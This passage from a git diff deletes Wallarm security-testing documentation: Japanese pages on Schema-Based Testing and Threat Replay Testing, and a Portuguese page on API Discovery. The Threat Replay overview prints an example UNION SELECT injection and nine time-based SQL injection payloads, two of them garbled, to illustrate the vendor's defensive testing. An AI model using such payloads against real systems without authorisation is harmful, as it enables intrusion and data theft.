(BFLA)](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa5-broken-function-level-authorization.md)）では、WallarmのSchema-Basedセキュリティテストは少なくとも2人の異なる認証済みユーザーからのAPIトラフィックを必要とし、できれば権限が異なるユーザー（例: 管理者と一般ユーザー）が望ましいです。この多様性により、より効果的なビジネスロジックのセキュリティテストが可能になり、より徹底的な評価が提供されます。 - -| ビジネスロジックの脆弱性 | 入力要件 | -| ---- | ---- | -| [OWASP API1:2023 オブジェクトレベル認可の不備 (BOLA)](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md) | この脆弱性をテストするには、適切なオブジェクトレベルの認可チェックが実装されているかを示すために、複数の認証済みユーザーが必要です。 | -| [OWASP API5:2023 機能レベル認可の不備 (BFLA)](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa5-broken-function-level-authorization.md) | この脆弱性をテストするには、機能レベルの認可が一貫して施行されているかを評価するために、権限レベルの異なるユーザーからのリクエストが必要です。 | - -##### 例1: 2人のユーザーのリクエストを含むPostmanコレクションの使用 - -次を実施します。 - -1. 認証済みユーザー2人のリクエストを含むPostmanコレクションを作成します。例えば、対象アプリケーションで、`User A`と`User B`のログインおよびアクティビティのリクエストを同一コレクションに含めます。 - - ![Postmanコレクション - 2人のユーザーのトランザクション](../../images/vulnerability-detection/posman-collection-2-users.png) - -1. すべてのリクエストが正しく実行されることを確認します。 -1. 作成したPostmanコレクションでテストポリシーを作成します。 - -##### 例2: 複数ユーザー向けにPostman環境を使用する - -次を実施します。 - -1. それぞれ異なる認証済みユーザーの認証情報を持つ2つのPostman環境ファイルを作成します。例: - - * `env1.json`は`User A`用 - * `env2.json`は`User B`用 - -1. Postmanコレクションと両方の環境ファイルを使用するテストポリシーを作成します。 - - この構成では、`env1.json`（`User A`）と`env2.json`（`User B`）でそれぞれ1回ずつ、合計2回コレクションが実行されるため、各リクエストは両方のユーザーコンテキストで実行されます。 - -### 既存ポリシーの編集 - -作成済みのポリシーは編集できます。ポリシー自体をクリックするとDockerコマンド情報が表示されますが、編集ボタンをクリックすると編集ダイアログにアクセスできます。 - -![Schema-Based Testing - テストポリシーの編集](../../images/vulnerability-detection/sbt-policy-edit.png) - -## Dockerの実行 - -テストポリシーを[作成](#configure-test-policies)すると、アプリケーションのテストを開始できるdocker runコマンドが提供されます。 - -1. Wallarm Console → **Security Testing** → **Schema-Based** → **Test policies**に移動します。 -1. 対象のポリシーをクリックします。ポリシーのDockerコマンドが表示されます。 - - ![Schema-Based Testing - テストポリシーのDockerコマンド](../../images/vulnerability-detection/sbt-policy-docker-command.png) - -1. 必要に応じて、Dockerのログレベルとフォーマットを再定義します。 -1. コマンドをコピーして実行するか、CI/CDパイプラインに組み込みます。これにより、ポリシーで選択したセキュリティテストがアプリケーションに対して実行されます。 - - OASベースの実行では、Dockerの`run`コマンドに対応する`-e`パラメータを追加することで、各実行時にポリシーの**Runtime parameters**を再定義できる点に注意してください。例: - - ``` - -e TARGET_URL="http://dvapi.st.wallarm.tools" - -e AUTH_HEADER="Authorization: Bearer " - ``` - - **Rewrite authentication data**および/または**Rewrite target URL**チェックボックスを選択すると、コマンドに次が追加され、これらのパラメータの再定義を簡単にできます。 - - ``` - -e AUTH_HEADER="${AUTH_HEADER}" -e TARGET_URL="${TARGET_URL}" - ``` - -1. **Test runs**タブで実行の統計と[テスト実行結果](explore.md)を表示します。 - -## ポリシーの削除 - -テストポリシーを削除できます。削除した場合: - -* 過去のテスト実行に関する情報はそのまま保持されます -* 削除したポリシーに基づくDockerのコマンドは実行できません -* ポリシーのDockerコンテナが実行中の場合、そのまま実行が継続されます -* ポリシーのDockerコンテナが停止した後は、再実行できません \ No newline at end of file diff --git a/docs/latest-ja/vulnerability-detection/security-testing-overview.md b/docs/latest-ja/vulnerability-detection/security-testing-overview.md deleted file mode 100644 index c401c68d7f..0000000000 --- a/docs/latest-ja/vulnerability-detection/security-testing-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/vulnerability-detection/security-testing-overview.md" \ No newline at end of file diff --git a/docs/latest-ja/vulnerability-detection/threat-replay-testing/exploring.md b/docs/latest-ja/vulnerability-detection/threat-replay-testing/exploring.md deleted file mode 100644 index 0d7c99b787..0000000000 --- a/docs/latest-ja/vulnerability-detection/threat-replay-testing/exploring.md +++ /dev/null @@ -1,48 +0,0 @@ -[al-brute-force-attack]: ../../attacks-vulns-list.md#brute-force-attack -[al-forced-browsing]: ../../attacks-vulns-list.md#forced-browsing -[al-bola]: ../../attacks-vulns-list.md#broken-object-level-authorization-bola - -# Threat Replay Testingの結果を確認する - -[Threat Replay Testing](overview.md)を有効化して構成すると、本記事の説明どおりに実行済みテストとその結果を確認できます。 - -## テストと結果 - -Wallarm Consoleで、**Security Testing** → **Threat Replay** → **Tests**タブに移動すると、実行されたテストとその結果（[**Status**](#possible-statuses)列）を一覧できます。 - -![TRT - Tests tab](../../images/vulnerability-detection/trt-tests.png) - -次のことができます: - -* **Attack**列のリダイレクトアイコンをクリックして、テストをトリガーした最初の攻撃を表示できます。最初の攻撃が表示された**Attacks**セクションが表示されます。 -* 検出された脆弱性があれば、**Status**列のリダイレクトアイコンをクリックして表示できます。 - -## 可能なステータス - -テストの実行結果: - -* **No vulnerabilities found**: テストでは、この攻撃タイプに対して攻撃対象が脆弱であることは確認されませんでした。 -* **Vulnerabilities found**: テストにより、この攻撃タイプに対して攻撃対象が脆弱であることが確認されました。脆弱性が作成され、**Vulnerabilities**タブに一覧表示されます。 - -技術的なステータス: - -* **Scheduled**: 検証のために攻撃がキューに入っています。 -* **In-progress**: 攻撃が現在進行中です。完了後に検証されます。 -* **Error**: サーバーに到達できない、テストポリシーの設定が誤っている、またはThreat Replay Testingの内部的な問題が原因で発生することがあります。 - -## 検出された脆弱性 - -Wallarm Consoleで、**Security Testing** → **Threat Replay** → **Vulnerabilities**タブに移動すると、Threat Replay Testingで検出された脆弱性の一覧を確認できます。 - -![TRT - Vulnerabilities tab](../../images/vulnerability-detection/trt-vulns.png) - -次のことができます: - -* 脆弱性、ドメイン、またはパスで検索できます。 -* risk level、attack type、vulnerability status、および検出日でフィルタリングできます。 -* 脆弱性をクリックして詳細な説明を表示できます。 -* 脆弱性のrisk levelを変更できます。 -* 脆弱性をCloseまたはRe-openできます。 -* 脆弱性をfalseとしてマークできます。 - -![TRT - Vulnerabilities tab - vulnerability details](../../images/vulnerability-detection/trt-vuln-details.png) \ No newline at end of file diff --git a/docs/latest-ja/vulnerability-detection/threat-replay-testing/overview.md b/docs/latest-ja/vulnerability-detection/threat-replay-testing/overview.md deleted file mode 100644 index b7d093394e..0000000000 --- a/docs/latest-ja/vulnerability-detection/threat-replay-testing/overview.md +++ /dev/null @@ -1,90 +0,0 @@ -[al-brute-force-attack]: ../../attacks-vulns-list.md#brute-force-attack -[al-forced-browsing]: ../../attacks-vulns-list.md#forced-browsing -[al-bola]: ../../attacks-vulns-list.md#broken-object-level-authorization-bola -[img-verification-statuses]: ../../images/user-guides/events/attack-verification-statuses.png -[img-verified-icon]: ../../images/user-guides/events/verified.png -[img-error-icon]: ../../images/user-guides/events/error.png#mini -[img-forced-icon]: ../../images/user-guides/events/forced.png#mini -[img-sheduled-icon]: ../../images/user-guides/events/sheduled.png#mini -[img-cloud-icon]: ../../images/user-guides/events/cloud.png#mini -[img-skip-icon]: ../../images/user-guides/events/skipped.png#mini -[img-happening-icon]: ../../images/user-guides/events/happening.png#mini - -# 脅威リプレイテスト - -実際に到来する攻撃を無害なセキュリティテストとしてリプレイすることで、WallarmのThreat Replay Testingは、従来のセキュリティテストツールでは見逃されがちなアプリケーションやAPIの脆弱性発見という課題に対応します。 - -Threat Replay Testingの主な機能: - -* リアルタイム分析: 実際の攻撃データを用いて、現在悪用されている、または将来的に悪用され得る脆弱性を特定します。 -* 包括的なテスト: 実際の攻撃の[バリエーションを生成](#how-it-works)することで、異なる攻撃ベクトルを探索し、元の攻撃者が見逃した弱点を露出させます。 -* 安全なシミュレーション: テストリクエストから有害なコードや機密性の高い認証情報を[除去](#test-request-security)し、テストによって損害やシステム侵害が生じないようにします。 -* 本番以外でのテスト: 本番データやシステムの安定性を危険にさらすことなく、安全な環境（通常はステージング）でアプリケーションやAPIをテストできます。 - -![TRT - Testsタブ](../../images/vulnerability-detection/trt-tests.png) - - -## 仕組み - -Threat Replay TestingモジュールはWallarm Cloud上で動作します。まず、モジュールは[Security Edge](../../installation/security-edge/overview.md)または[セルフホスト型](../../installation/supported-deployment-options.md)のフィルタリングノードが検知してWallarm Cloudにアップロードした悪意のあるリクエストに関する詳細情報を収集します。この取得データを活用して、モジュールは約100〜150件のテストリクエスト集合を動的に生成します。これらのテストリクエストは、悪意のあるリクエストと同じ脆弱性タイプを対象にしつつ、異なるペイロードを用います。 - -生成された攻撃シミュレーションの集合は、元の悪意のあるリクエストと同じ宛先アドレスに送信されます。ただし、モジュールには、これらのテストリクエストをステージングや開発環境、あるいはその両方などの[別の宛先へリダイレクト](setup.md#configure-test-policies)する柔軟性があります。 - -テストリクエストに対する応答を分析することで、モジュールは特定の[攻撃タイプ](../../attacks-vulns-list.md)に対する脆弱性の有無を判断します。検出された脆弱性は、Wallarm Console UIの[**Vulnerabilities**](../../user-guides/vulnerabilities.md)セクションに記録されます。さらに、これらの結果について[通知](../../user-guides/settings/integrations/integrations-intro.md)を受け取ることもできます。 - -次の図はモジュールの動作を示します: - -![ATVのスキーム](../../images/vulnerability-detection/active-threat-verification-scheme-prod.png) - -生成されたリクエストには`User-Agent: Wallarm Threat-Verification (v1.x)`ヘッダーが付与され、他のリクエストと区別しやすくなります。 - - -### テストリクエストのセキュリティ - -Threat Replay Testingモジュールは、可能な限り安全な方法でテストリクエストを生成するよう設計されており、次の重要な特性を備えています: - -* 生成されたリクエストの悪意あるペイロードには実際の悪意ある構文は含まれず、攻撃の原理を模倣するためのものです。結果として、リソースに害を与えません。 -* `Cookie`、`Authorization: Basic`、`Viewstate`のような認証ヘッダーはリプレイ対象のリクエストから除外されます。さらに、[カスタム認証ヘッダー](setup.md#rewrites)と[マスキングルール](../../user-guides/rules/sensitive-data-rule.md)の方針に従い、必要に応じて追加のヘッダーを調整または削除する場合があります。 - -### 例 - -次のような、Wallarmのフィルタリングノードが最初に検知してWallarm Cloudにアップロードした実際の状況に近いGETリクエストを考えます: - -```bash -https://example.com/login?user=UNION SELECT username, password -``` - -このリクエストから、モジュールは次の点を把握します: - -* 攻撃対象のURLは`https://example.com/login`です -* 使用された攻撃の種類はSQLiです（`UNION SELECT username, password`というペイロードに基づく判断） -* 攻撃されたクエリ文字列パラメーターは`user`です -* リクエストに含まれる追加情報として、リクエスト文字列パラメーター`token=IyEvYmluL3NoCg`があります（おそらくアプリケーションのユーザー認証に使用されます） - -このデータを基に、モジュールは一連のテストリクエストを作成します。これらのリクエストは、以下のようにさまざまなペイロードを用いて潜在的なSQLインジェクション脆弱性に焦点を当てます: - -```bash -https://example.com/login&user=1')+WAITFOR+DELAY+'0 indexpt'+AND+('wlrm'='wlrm -https://example.com/login&user=1+AND+SLEEP(10)--+wlrm -https://example.com/login&user=1);SELECT+PG_SLEEP(10)-- -https://example.com/login&user=1'+OR+SLEEP(10)+AND+'wlrm'='wlrm -https://example.com/login&user=1+AND+1=(SELECT+1+FROM+PG_SLEEP(10)) -https://example.com/login&user=%23'%23\x22%0a-sleep(10)%23 -https://example.com/login&user=1';+WAITFOR+DELAY+'0code:10'-- -https://example.com/login&user=1%27%29+OR+SLEEP%280%29+AND+%28%27wlrm%27%3D%27wlrm -https://example.com/login&user=SLEEP(10)/*'XOR(SLEEP(10))OR'|\x22XOR(SLEEP(10))OR\x22*/ -``` - -## 制限事項 - -次の場合、Threat Replay Testingは利用できません: - -* [ブルートフォース][al-brute-force-attack] -* [強制ブラウジング][al-forced-browsing] -* [BOLA][al-bola] -* リクエスト処理制限のある攻撃 -* 脆弱性がすでに解消されている攻撃 -* 検証に十分なデータを含まない攻撃 -* [発信元IPごとにグルーピングされたhitsで構成される攻撃](../../admin-en/configuration-guides/protecting-with-thresholds.md) - -サポートされる攻撃タイプの一覧は、[セットアップ](setup.md#configure-test-policies)ドキュメントを参照してください。 \ No newline at end of file diff --git a/docs/latest-ja/vulnerability-detection/threat-replay-testing/setup.md b/docs/latest-ja/vulnerability-detection/threat-replay-testing/setup.md deleted file mode 100644 index 4d3728d13e..0000000000 --- a/docs/latest-ja/vulnerability-detection/threat-replay-testing/setup.md +++ /dev/null @@ -1,104 +0,0 @@ -# Threat Replay Testingのセットアップ - -この記事では、Wallarmの[Threat Replay Testing](overview.md)の有効化と設定方法を説明します。 - -## 有効化 - -Threat Replay Testingはデフォルトで無効です。有効化して実行するには、次の手順に従います。 - -1. Advanced API Securityの[サブスクリプションプラン](../../about-wallarm/subscription-plans.md#core-subscription-plans)を契約していることを確認します。 -1. Wallarm ConsoleのSecurity Testing → Threat Replayに、[US Cloud](https://us1.my.wallarm.com/threat-replay-testing/tests)または[EU Cloud](https://my.wallarm.com/threat-replay-testing/tests)のリンクから進み、**Enable Threat Replay Testing**スイッチをオンに切り替えます。 - - Threat Replayが表示されない場合は、Wallarmのテクニカルサポートに[お問い合わせ](mailto:support@wallarm.com)ください。 - -1. Threat Replay TestingのIPアドレスを許可リストに[追加](#preventing-from-being-blocked)します。 -1. **Test policies**タブに移動し、[少なくとも1つのポリシー](#configure-test-policies)を作成します。 - -## ブロックされないようにする - -Wallarmに加えて、自動的にトラフィックをフィルタリングおよびブロックする追加の仕組み（ソフトウェアまたはハードウェア）を使用している場合は、Threat Replay TestingのIPアドレスを含む[許可リストを設定](../../admin-en/scanner-addresses.md)することを推奨します。 - -これにより、Threat Replay Testingを含むWallarmコンポーネントが、対象のリソースに対して脆弱性スキャンをシームレスに実行できるようになります。 - -## テストポリシーの設定 - -フィルタリングノードがあるエンドポイントへの攻撃を検知すると、[有効化済み](#enable)のThreat Replay Testingが、当該エンドポイントがその攻撃タイプに対して脆弱かどうかを確認するテストを実行します。 - -これらのテストを実行するかどうか、また具体的な実行方法は、テストポリシーで定義します。各ポリシーでは次を定義します： - -* どのホストに対してテストを実行するか。 -* どの環境でテストを実行するか。 -* どの攻撃タイプに対してテストを実行するか（[制限事項](overview.md#limitations)を参照）。 -* このエンドポイントと攻撃タイプについて再テストをどの頻度で実行するか。 -* 任意項目として、テスト環境で実行する前にテストリクエストをどのように変更するか。 - -![Threat Replay Testing - テストポリシー](../../images/vulnerability-detection/trt-policy.png) - -## 複数のテストポリシーの動作 - -次のとおりです。 - -* ポリシーがない → テストは実行されません。 -* このホスト/攻撃タイプ向けのポリシーがない → テストは実行されません。 -* 対象ホストに影響するポリシーが複数ある → 複数の独立したテストが実行されます。 - -時間に関して：このエンドポイントと攻撃タイプに対するテストがすでに実行済みで、その後このエンドポイントに同タイプの新たな攻撃が発生しても、**Period**の期限が切れるまでテストは再実行されません。 - -## ホストとリプレイ先ホスト - -テストを実行するホストと、それらのテストをどの環境で実行するかは、Host affected by attackおよびReplay attack on hostフィールドで定義します。 - -両フィールドでは、キャプチャグループや後方参照を含む正規表現を使用できます。以下に代表的なシナリオを示します。 - -### シナリオ#1：特定のホスト上の任意のサブドメインの攻撃を再チェック - -Host affected by the attack: `.+\.wallarm\.com` -Replay attack on host: `test.wallarm.com` - -結果： - -* `www.wallarm.com` への任意の攻撃は`test.wallarm.com`上でテストされます。 -* `dev.wallarm.com`への任意の攻撃は`test.wallarm.com`上でテストされます。 - -### シナリオ#2：ホスト名の中間部分を置換 - -Host affected by the attack: `(.+)\.wallarm\.com` -Replay attack on host: `\1.test-wallarm.com` - -結果： - -* `www.wallarm.com`への攻撃は`www.test-wallarm.com`上でテストされます。 -* `dev.wallarm.com`への攻撃は`dev.test-wallarm.com`上でテストされます。 - -### シナリオ#3：同一ホスト上の任意のリクエストを再チェック - -Host affected by the attack: `(.+)` -Replay attack on host: `\1` - -結果： - -* `www.wallarm.com`への攻撃は`www.wallarm.com`上でテストされます。 -* `dev.wallarm.com`への攻撃は`dev.wallarm.com`上でテストされます。 - -### シナリオ#4：特定のホストの攻撃を特定のホストで再チェック - -Host affected by the attack: `www\.wallarm\.com` -Replay attack on host: `test.wallarm.com` - -結果： - -* 攻撃先が` www.wallarm.com`の場合は`test.wallarm.com`上でテストされます。 -* `dev.wallarm.com`への攻撃はテストされません。 - -## Rewrites - -デフォルトでは、Threat Replay Testingは[特定の認証パラメータの除去](overview.md#test-request-security)を除き、オリジナルのリクエストデータを保持します。テストポリシーのRewritesセクションを使用すると、オリジナルのリクエスト要素を基にテスト攻撃セットを生成する前に、それらの要素を変更できます。これは、オリジナルの認証データをテスト用データに置き換える場合や、別のアドレスで攻撃のリプレイを実施する場合に特に有用です。 - -!!! warning "オリジナルのリクエスト要素の変更" - 変更できるのは、オリジナルのリクエストのヘッダー（`header`）とパス（`uri`）のみです。その他のリクエスト要素は変更も追加もできません。 - -**Rewriteの例** - -以下は、example.comで再生される攻撃が`COOKIE`ヘッダーに`PHPSESSID=mntdtbgt87j3auaq60iori2i63; security=low`という値を保持するようにするためのRewriteです。 - -![COOKIEを変更するRewriteの例](../../images/vulnerability-detection/trt-policy-with-rewrite.png) \ No newline at end of file diff --git a/docs/latest-pt-BR/about-wallarm/api-discovery.md b/docs/latest-pt-BR/about-wallarm/api-discovery.md deleted file mode 100644 index 1bf77bd7d9..0000000000 --- a/docs/latest-pt-BR/about-wallarm/api-discovery.md +++ /dev/null @@ -1,323 +0,0 @@ -# Descobrindo inventário API - -O módulo **API Discovery** da plataforma Wallarm [constrói](#habilita%C3%A7%C3%A3o-econfigura%C3%A7%C3%A3o-da-descoberta-da-api) o inventário da API REST do seu aplicativo com base no uso real da API. O módulo analisa continuamente as solicitações de tráfego real e constrói o inventário da API com base nos resultados da análise. Este artigo fornece uma visão geral da **API Discovery**: questões abordadas por ela, seu propósito e principais possibilidades. - -Para obter informações sobre como usar o módulo de **API Discovery**, consulte o [guia do usuário](../api-discovery/exploring.md). - -## Problemas resolvidos por API Discovery - -**Construir um inventário atual e completo da API** é o principal problema que o módulo API Discovery está resolvendo. - -Manter o inventário da API atualizado é uma tarefa difícil. Existem várias equipes que usam diferentes APIs e é comum que diferentes ferramentas e processos sejam usados para produzir a documentação da API. Como resultado, as empresas lutam para entender quais APIs elas têm, quais dados elas expõem e ter uma documentação atualizada da API. - -Como o módulo API Discovery usa o tráfego real como fonte de dados, isso ajuda a obter uma documentação atualizada e completa da API, incluindo no inventário da API todos os pontos finais que estão processando efetivamente as solicitações. - -**Conforme você descobre seu inventário de API com a Wallarm, você pode**: - -* Ter uma visibilidade total de todo o patrimônio da API, incluindo a lista de APIs [externas e internas](#apis-externas-e-internas). -* Ver quais dados estão [entrando nas APIs](../api-discovery/exploring.md#params). -* Entender quais pontos finais são [mais prováveis](#pontua%C3%A7%C3%A3o-de-risco-do-ponto-de-extremidade) de ser um alvo de ataque. -* Ver as APIs mais atacadas nos últimos 7 dias. -* Filtrar apenas APIs atacadas, classificá-las por número de acertos. -* Filtrar APIs que consomem e transportam dados sensíveis. -* Encontrar APIs [sombra, órfãs e zumbis](#api-sombra-%C3%B3rf%C3%A3s-e-zumbis). -* [Baixar](../api-discovery/exploring.md#baixar-a-especifica%C3%A7%C3%A3o-openapi-oas-do-seu-invent%C3%A1rio-da-api) pontos finais descobertos como especificação no formato OpenAPI v3 e comparar com suas próprias especificações de API para encontrar pontos finais apresentados em suas especificações mas não descobertos pela Wallarm (pontos finais que não estão em uso, também conhecidos como "API zumbi"). -* [Rastrear mudanças](#rastrear-mudan%C3%A7as-na-api) na API que ocorreram dentro do período de tempo selecionado. -* [Criar regras](../api-discovery/exploring.md#invent%C3%A1rio-de-api-e-regras) rapidamente para qualquer ponto final da API. -* Obter uma lista completa das solicitações maliciosas para qualquer ponto de extremidade da API. -* Fornecer aos seus desenvolvedores acesso ao inventário da API construída para revisão e download. - -## Como funciona o API Discovery? - -A API Discovery conta com estatísticas de solicitação e usa algoritmos sofisticados para gerar especificações de API atualizadas com base no uso real da API. - -### Abordagem híbrida - -API Discovery usa uma abordagem híbrida para conduzir a análise localmente e na nuvem. Esta abordagem permite um processo [centrado na privacidade](#seguran%C3%A7a-dos-dados-carregados-para-o-cloud-da-wallarm), onde os dados de solicitação e dados sensíveis são mantidos localmente enquanto utilizam o poder da nuvem para a análise das estatísticas: - -1. O API Discovery analisa o tráfego legítimo localmente. A Wallarm analisa os pontos de extremidade para os quais as solicitações são feitas e quais parâmetros são passados. -1. De acordo com esses dados, as estatísticas são criadas e enviadas para o Nuvem. -1. A Nuvem Wallarm agrega as estatísticas recebidas e constrói uma [descrição da API](../api-discovery/exploring.md) em sua base. - - !!! info "Detecção de ruído" - Solicitações raras ou únicas são [consideradas como ruído](#detec%C3%A7%C3%A3o-de-ru%C3%ADdo) e não incluídas no inventário da API. - -### Detecção de ruído - -O módulo API Discovery baseia a detecção de ruído nos dois principais parâmetros de tráfego: - -* Estabilidade do Ponto Final - pelo menos 5 solicitações devem ser registradas em um período de 5 minutos a partir do momento da primeira solicitação ao ponto final. -* Estabilidade do Parâmetro - a ocorrência do parâmetro nas solicitações ao ponto final deve ser superior a 1%. - -O inventário da API exibirá os pontos de extremidade e os parâmetros que excederam esses limites. O tempo necessário para construir o inventário completo da API depende da diversidade e intensidade do tráfego. - -Além disso, o API Discovery realiza a filtragem das solicitações apoiado em outros critérios: - -* Somente aquelas solicitações para as quais o servidor respondeu na faixa de 2xx são processadas. -* As solicitações que não estão de acordo com os princípios de design da API REST não são processados. Isso é feito controlando o parâmetro do cabeçalho `Content-Type` das respostas: se o parâmetro `Content-Type` não contiver `application` como um tipo e `json` como um subtipo, tal solicitação é considerada como não-API REST e é filtrada. Exemplo de resposta da API REST: `Content-Type: application/json;charset=utf-8`. Se o parâmetro não existir, a API Discovery analisa a solicitação. -* Campos padrão como `Accept` e similares são descartados. - -### Elementos do inventário da API - -O inventário da API inclui os seguintes elementos: - -* Pontos de extremidade da API -* Métodos de solicitação (GET, POST, e outros) -* Parâmetros obrigatórios e opcionais GET, POST, e cabeçalho, incluindo: - * [Tipo/formato](#tipos-eformatos-de-par%C3%A2metro) de dados enviados em cada parâmetro - * Presença e tipo de dados sensíveis (PII) transmitidos pelo parâmetro: - - * Dados técnicos como endereços IP e MAC - * Credenciais de login como chaves secretas e senhas - * Dados financeiros como números de cartões bancários - * Dados médicos como número de licença médica - * Informações de identificação pessoal (PII) como nome completo, número de passaporte ou Número de Seguro Social - - * Data e hora em que as informações do parâmetro foram atualizadas pela última vez. - -### Tipos e formatos de parâmetro - -A Wallarm analisa os valores que são passados em cada um dos parâmetros do ponto final e tenta determinar seu formato: - -* Int32 -* Int64 -* Float -* Double -* Data -* Datetime -* Email -* IPv4 -* IPv6 -* UUID -* URI -* Nome do host -* Byte -* MAC - -Se o valor no parâmetro não se enquadrar no formato específico de dados, então um dos tipos de dados comuns será especificado: - -* Integer -* Number -* String -* Boolean - -Para cada parâmetro, a coluna **Type** exibe: - -* Formato de dados -* Se o formato não estiver definido - tipo de dados - -Estes dados permitem verificar se os valores do formato esperado são passados em cada parâmetro. Inconsistências podem ser o resultado de um ataque ou de um scan da sua API, por exemplo: - -* Os valores `String` são passados para o campo com `IP` -* Os valores `Double` são passados para o campo onde deve haver um valor não maior que `Int32` - -### Visualização de amostra - -Antes de comprar o plano de [assinatura](subscription-plans.md#subscription-plans) com a API Discovery, você pode visualizar os dados amostrais. Para fazer isso, na seção **API Discovery**, clique em **Explorar em um playground**. - -![API Discovery – Amostra de Dados](../images/about-wallarm-waf/api-discovery/api-discovery-sample-data.png) - -## Uso do inventário da API construída - -A secção **API Discovery** fornece muitas opções para o uso do inventário da API construída. - -![Pontos de extremidade descobertos pela API Discovery](../images/about-wallarm-waf/api-discovery/discovered-api-endpoints.png) - -Essas opções são: - -* Pesquisa e filtros -* Capacidade de listar APIs internas e externas separadamente. -* Visualização de parâmetros de ponto de extremidade. -* Rastreamento de mudanças na API. -* Navegação rápida para ataques relacionados a algum ponto final. -* Criação de regra personalizada para o ponto final específico. -* Download da especificação OpenAPI (OAS) para pontos finais individuais da API e uma API completa como arquivo `swagger.json`. - -Saiba mais sobre as opções disponíveis no [Guia do usuário](../api-discovery/exploring.md). - -## Pontuação de risco do ponto de extremidade - -API Discovery calcula automaticamente uma **pontuação de risco** para cada ponto final do seu inventário da API. A pontuação de risco permite entender quais pontos finais têm maior probabilidade de ser um alvo de ataque e, portanto, devem ser o foco de seus esforços de segurança. - -A pontuação de risco é composta por vários fatores, incluindo: - -* Presença de [**vulnerabilidades ativas**](detecting-vulnerabilities.md) que podem resultar em acesso ou corrupção de dados não autorizados. -* Capacidade de **carregar arquivos para o servidor** - os pontos de extremidade são frequentemente alvo de ataques de [Execução Remota de Código (RCE)](../attacks-vulns-list.md#remote-code-execution-rce), onde arquivos com código malicioso são carregados para um servidor. Para proteger esses pontos de extremidade, as extensões e conteúdos dos arquivos carregados devem ser adequadamente validados conforme recomendado pelo [OWASP Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html). -* Presença de [**partes variáveis do caminho**](#variabilidade-nos-pontos-finais), como IDs do usuário, por exemplo `/api/artigos/autor/{parâmetro_X}`. Os atacantes podem manipular IDs de objetos e, no caso de autenticação de solicitação insuficiente, podem ler ou modificar os dados sensíveis do objeto ([**Ataques BOLA**](../admin-en/configuration-guides/protecting-against-bola.md)). -* Presença dos parâmetros com [**dados sensíveis**](#elementos-do-invent%C3%A1rio-da-api) - em vez de atacar diretamente as APIs, os atacantes podem roubar dados sensíveis e usá-los para acessar seus recursos de maneira imperceptível. -* Um **grande número de parâmetros** aumentando o número de direções de ataque. -* **Objetos XML ou JSON** passados na solicitação do ponto final podem ser usados pelos atacantes para transferir entidades externas XML maliciosas e injeções para o servidor. - -!!! info "Configurando cálculo de pontuação de risco" - Para adaptar a estimativa de pontuação de risco de acordo com sua compreensão da importância dos fatores, você pode [configurar](../api-discovery/exploring.md#configurar-o-c%C3%A1lculo-da-pontua%C3%A7%C3%A3o-de-risco) o peso de cada fator no cálculo da pontuação de risco e o método de cálculo. - -[Aprenda como trabalhar com a pontuação de risco →](../api-discovery/exploring.md#trabalhar-com-a-pontua%C3%A7%C3%A3o-de-risco) - -## Rastrear mudanças na API - -Se você atualizar a API e a estrutura do tráfego for ajustada, API Discovery atualiza o inventário da API construída. - -A empresa pode ter várias equipes, linguagens de programação diferentes e uma variedade de frameworks de linguagem. Assim, as mudanças podem chegar à API a qualquer momento de fontes diferentes, o que torna difícil controlá-las. Para os os diretores de segurança, é importante detectar as mudanças o mais rápido possível e analisá-las. Se perdidas, tais mudanças podem conter alguns riscos, por exemplo: - -* A equipe de desenvolvimento pode começar a usar uma biblioteca de terceiros com uma API separada e eles não notificam os especialistas em segurança sobre isso. Dessa forma, a empresa obtém pontos finais que não são monitorados e não são verificados quanto a vulnerabilidades. Eles podem ser direções de ataque potenciais. -* Os dados PII começam a ser transferidos para o ponto de extremidade. Uma transferência não planejada de PII pode levar a uma violação da conformidade com os requisitos dos reguladores, bem como a riscos de reputação. -* O ponto de extremidade importante para a lógica de negócios (por exemplo, `/login`, `/order/{order_id}/payment/`) não é mais chamado. -* Outros parâmetros que não deveriam ser transferidos. Por exemplo, `is_admin` (alguém acessa o ponto de extremidade e tenta fazê-lo com direitos de administrador) começa a ser transferido para o ponto de extremidade. - -Com o módulo **API Discovery** da Wallarm, você pode: - -* Rastrear mudanças e verificar se elas não interrompem os processos de negócios atuais. -* Certificar-se de que não apareceram pontos de extremidade desconhecidos na infraestrutura que poderiam ser um vetor de ameaça potencial. -* Certificar-se de que PII e outros parâmetros inesperados não começaram a ser transferidos para os pontos de extremidade. -* Configurar notificações sobre mudanças em sua API por meio de [gatilhos](../user-guides/triggers/trigger-examples.md#new-endpoints-in-your-api-inventory) com a condição **Mudanças na API**. - -Aprenda como trabalhar com o recurso de rastreamento de mudanças no [Guia do usuário](../api-discovery/exploring.md#rastrear-mudan%C3%A7as-na-api). - -## APIs externas e internas - -Os pontos de extremidade acessíveis a partir da rede externa são as principais direções do ataque. Portanto, é importante ver o que está disponível do lado de fora e prestar atenção a esses pontos de extremidade em primeiro lugar. - -A Wallarm divide automaticamente as APIs descobertas em externas e internas. O host com todos os seus pontos finais é considerado interno se estiver localizado em: - -* Um endereço IP privado ou local -* Um domínio de nível superior genérico (por exemplo: localhost, dashboard, etc.) - -Nos demais casos, os hosts são considerados externos. - -Por padrão, é exibida uma lista com todos os hosts de API (externos e internos). No inventário da API construído, você pode visualizar suas APIs internas e externas separadamente. Para fazer isso, clique em **External** ou **Internal**. - -## Variabilidade nos pontos finais - -URLs podem incluir elementos diversos, como ID do usuário, como: - -* `/api/artigos/autor/autor-a-0001` -* `/api/artigos/autor/autor-a-1401` -* `/api/artigos/autor/autor-b-1401` - -O módulo **API Discovery** unifica esses elementos no formato `{parameter_X}` nos caminhos dos pontos finais; portanto, para o exemplo acima, você não terá 3 pontos finais, mas, em vez disso, haverá apenas um: - -* `/api/artigos/autor/{parameter_X}` - -Clique no ponto de extremidade para expandir seus parâmetros e ver qual tipo foi detectado automaticamente para o parâmetro diverso. - -![API Discovery - Variabilidade no caminho](../images/about-wallarm-waf/api-discovery/api-discovery-variability-in-path.png) - -Note que o algoritmo analisa o novo tráfego. Se em algum momento você ver endereços, que deveriam ser unificados mas isso não aconteceu ainda, aguarde. Assim que mais dados chegarem, o sistema unificará pontos finais que correspondam ao novo padrão encontrado com a quantidade apropriada de endereços correspondentes. - -## Proteção automática contra BOLA - -Ataques comportamentais, tais como [Broken Object Level Authorization 